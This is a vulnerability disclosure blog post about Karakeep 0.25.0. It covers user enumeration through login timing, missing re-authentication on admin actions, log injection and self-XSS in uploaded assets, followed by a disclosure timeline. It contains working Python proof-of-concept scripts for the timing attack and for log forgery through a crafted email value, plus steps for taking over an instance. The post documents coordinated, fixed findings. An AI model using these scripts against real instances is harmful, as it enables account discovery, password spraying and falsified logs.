Post

Karakeep - Multiple vulnerabilities

During testing we discovered multiple vulnerabilities which an adversary would be able to exploit in order to:

  • Discover valid users on the platform via response times
  • Go from a compromised admin session to complete instance takeover
  • Conduct log injection attacks unauthenticated
  • Conduct Cross-Site Scripting (XSS) attacks with the potential to takeover accounts in a future version

Research was conducted on server version 0.25.0 with issues fixed in subsequent versions.

Meme depicting the choice between reporting after the first finding or continuing to look for more

Shoutout

I just want to start the post by giving a shout-out to the Karakeep team, specifically Mohamed B. It’s been great to deal with him as all interactions have been informative while showing a clear interest in improving the security of his platform.

Table of contents

Vuln Section link
Time Based User Enumeration Link
Lack of re-authentication for privileged actions Link
Log Injection Link
Cross-Site Scripting Link
Disclosure Timeline Link

Time Based User Enumeration

The current implementation of validatePassword within the authentication flow leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As the platform does not implement things such as rate-limiting or account lockouts after invalid attempts, it’s possible that an adversary could use this list of valid users in a password spray attack with the outcome being attempted takeover of user accounts on the platform.

Proof of Concept (PoC)

Complete instructions, including specific configuration details, to reproduce the vulnerability.

  1. Download the code provided below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import asyncio
import time
from collections import defaultdict

import httpx  # pip install httpx

number_of_attempts = 25
valid_username = "karakeep@example.com"
invalid_username = "fake@example.com"
data = defaultdict(lambda: [])
# Ensure this points to your current environment
local_base_url = "http://localhost:3000"
invalid_password = "cabana-polar-secrecy-neurology-pacific"


async def make_request(email, password, session: httpx.AsyncClient):
    csrf_resp = await session.get(f"{local_base_url}/api/auth/csrf")
    csrf_token = csrf_resp.json()["csrfToken"]

    start_time = time.time()
    resp = await session.post(
        f"{local_base_url}/api/auth/callback/credentials",
        cookies=csrf_resp.cookies,
        json={
            "email": email,
            "password": password,
            "csrfToken": csrf_token,
            "redirect": False,
            "callbackUrl": "http://localhost:3000/signin",
            "json": "true",
        },
        follow_redirects=True,
    )
    assert resp.status_code == 401
    end_time = time.time()
    resultant_time = end_time - start_time
    data[f"{email}|{password}"].append(resultant_time)


async def main():
    async with httpx.AsyncClient() as client:
        # This is for a valid user but invalid password
        for _ in range(number_of_attempts):
            await make_request(valid_username, invalid_password, client)
            await asyncio.sleep(0.1)

        # This is for an invalid user and password
        for _ in range(number_of_attempts):
            await make_request(invalid_username, invalid_password, client)
            await asyncio.sleep(0.1)

        r_2 = data[f"{valid_username}|{invalid_password}"]
        r_3 = data[f"{invalid_username}|{invalid_password}"]

        r_2_sum = sum(r_2) / len(r_2)
        r_3_sum = sum(r_3) / len(r_3)

        print(
            f"Average time to response as a valid user with an invalid password: {r_2_sum}"
        )
        print(
            f"Average time to response as an invalid user with an invalid password: {r_3_sum}"
        )


if __name__ == "__main__":
    asyncio.run(main())
  1. Modify the valid_username variable to a valid user within your Karakeep instance
  2. Modify the local_base_url variable to point at your Karakeep instance URL
  3. Create and activate a Python virtual environment. Documentation on this process is included in the references section.
  4. Install the PoC dependencies with pip install httpx
  5. Run python <filename>.py and observe the provided output indicating the time differences between legitimate and non-legitimate users.

This discrepancy can also be seen in the output below which is the PoC output for my Karakeep instance.

1
2
Average time to response as a valid user with an invalid password: 0.08896417617797851
Average time to response as an invalid user with an invalid password: 0.007455358505249024

In this output we can establish a clear difference between legitimate and non-legitimate users based on the application response time.

Back to top

Admin Session Compromise to Instance Takeover

We observed that all actions within the /admin/users route did not ask the current user to re-authenticate in order to successfully enact a change. As a result of this, if an adversary is able to gain access to a valid admin session they would be able to conduct actions such as taking over any account they wished, locking out all administrators and any other action available to the compromised account.

Further to this, while it was not possible to modify the current user via actions such as “Delete User” or “Reset Password” we observed a simple workaround. By simply creating a new user with the “Admin” role and signing in to that account, it would then be possible to modify the first accounts details or outright delete the account.

Meme depicting how editing admins was possible by creating another admin and then authenticating as that one

In order to abuse this vulnerability an adversary would need to have compromised an administrators session through a vulnerability such as session hijacking or by finding and exploiting Cross-Site Scripting (XSS) across accounts.

While we did find XSS in the application (see here), it was limited to the user who had uploaded the given asset. As such it was not possible to use that to pivot into abusing this vulnerability. Once disclosed it was however expressed that functionality to share assets is currently under development, and therefore it could become a viable avenue in a future version.

Proof of Concept (PoC)

Complete instructions, including specific configuration details, to reproduce the vulnerability.

The following steps describe locking out all current administrators from the application. Similar steps can be undertaken for the other issues described in this finding.

  1. With a compromised admin session, navigate to /admin/users.
  2. Click “Create User” and fill out the form, selecting Admin as the role for the new user. Select “Create” once completed.
  3. Observe the new admin has been created without reprompting for authentication.
  4. Sign out of the current user.
  5. Sign in to the newly created administrator and navigate to /admin/users.
  6. Click “Reset Password” for the current application administrator.
  7. Create a new password and select “Reset”.
  8. Observe that all site administrators are now unable to access the application and would require raw database access to resolve the issue.

Back to top

Unauthenticated Log Injection

When reviewing the source code, we observed that various logging calls within the codebase include client provided information directly in log messages. An example of this could be found in the logAuthenticationError function. This function can be seen below:

1
2
3
4
5
6
7
8
9
export function logAuthenticationError(
  user: string,
  message: string,
  ip: string | null
): void {
  authFailureLogger.error(
    `Authentication error. User: "${user}", Message: "${message}", IP-Address: "${ip}"`,
  );
}

As the user variable is controlled by clients, a malicious user is able to provide specifically formatted content in order to conduct log forgery attacks. Essentially a malicious user can write arbitrary content into the applications logs, resulting in a lack of trust in the applications logs.

Proof of Concept (PoC)

Complete instructions, including specific configuration details, to reproduce the vulnerability.

  1. Download the code provided below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import asyncio
from datetime import datetime, timezone

import httpx  # pip install httpx

local_base_url = "http://localhost:3000"


async def make_request(email, session: httpx.AsyncClient):
    csrf_resp = await session.get(f"{local_base_url}/api/auth/csrf")
    csrf_token = csrf_resp.json()["csrfToken"]

    resp = await session.post(
        f"{local_base_url}/api/auth/callback/credentials",
        cookies=csrf_resp.cookies,
        json={
            "email": email,
            "password": "incorrect password",
            "csrfToken": csrf_token,
            "redirect": False,
            "callbackUrl": f"{local_base_url}/signin",
            "json": "true",
        },
        follow_redirects=True,
    )
    assert resp.status_code == 401


async def main():
    time_now = datetime.now(timezone.utc)
    time_now = time_now.replace(tzinfo=None)
    time_str = time_now.isoformat(timespec="milliseconds") + "Z"
    email = (
        # Break out of the original log while making it look correct
        f'<EMAIL>", Message: "User not found", IP-Address: "172.26.0.1"\n'
        # Custom log line here
        f"{time_str} error: This is a custom log!\n"
        # We add this line to make the original log look correct again
        f'{time_str} error: Authentication error. User: "<EMAIL>'
    )

    async with httpx.AsyncClient() as client:
        await make_request(email, client)

    print("Request made, check your logs.")


if __name__ == "__main__":
    asyncio.run(main())
  1. Create and activate a Python virtual environment. Documentation on this process is included in the references section.
  2. Run pip install httpx to install the requirements for the PoC.
  3. Modify the local_base_url to your Karakeep instance.
  4. Run the PoC with python filename.py.
  5. Observe the arbitrary log line being present within your Karakeep instances log.

This log can also be seen in the image below. The line 2025-06-09T03:13:40.640Z error: This is a custom log! has been inserted by the PoC script.

A snippet from the logs showing our forged log present within legitmaet looking logs

Back to top

Cross-Site Scripting in Assets

We’ve left the Cross-Site Scripting (XSS) to the end, as that’s also funnily enough how it was disclosed. Within the initial disclosure, it accounted for four sentences out of 14 pages.

Given the presence of Admin Session Compromise to Instance Takeover, I decided to include the following in the disclosure even though it had turned out to only be self xss…

1
We also observed that it was possible to upload assets which contained malicious JavaScript in order to conduct Cross-Site Scripting (XSS) attacks. As assets are limited to the user who uploaded them, this vulnerability has not been raised as the only impact is to the current user. If this functionality were to change in the future, we would recommend resolving the XSS as soon as possible, as it could then constitute a high risk vulnerability what may allow an adversary access to other users' accounts.

Meme depicting how I felt after finding xss, knowing there was the possibility of instance takeover but only getting self xss

Funnily enough, I then received the following message:

You mentioned you found an XSS in the app, but you didn’t include it in the report. We’re working on shared lists and this can be a problem.

How good! Not quite poc’able, but if not fixed then it soon would be.

As far as XSS goes it’s fairly classic and requires a fairly chill bypass. An adversary can call a couple of API routes in order to upload assets and then link it back to a given bookmark for viewing. After successfully uploading, a perma-link to the file can be obtained and viewed to execute the malicious JavaScript.

Back to top

Disclosure timeline

  • 23/06/2025: Disclosure submitted to Karakeep via email security disclosure pipeline.
  • 03/07/2025: Email sent requesting acknowledgment that the issue has been seen.
  • 07/07/2025: Acknowledgement received, initial email had ended up in spam. Responses regarding findings as well as a request for information surrounding the XSS vulnerability.
  • 07/07/2025: Further information provided & 90 day disclosure notice mentioned.
  • 21/07/2025: Karakeep mentions the majority of fixes has gone live.
  • 21/07/2025: Initial draft advisories created on the relevant repositories.
  • 13/08/2025: Draft blog post provided for review.
  • 23/08/2025: XSS fixed and advisories published.
  • 25/08/2025: Blog post goes live.

The following advisories were published:

Reporters

This post is licensed under CC BY 4.0 by the author.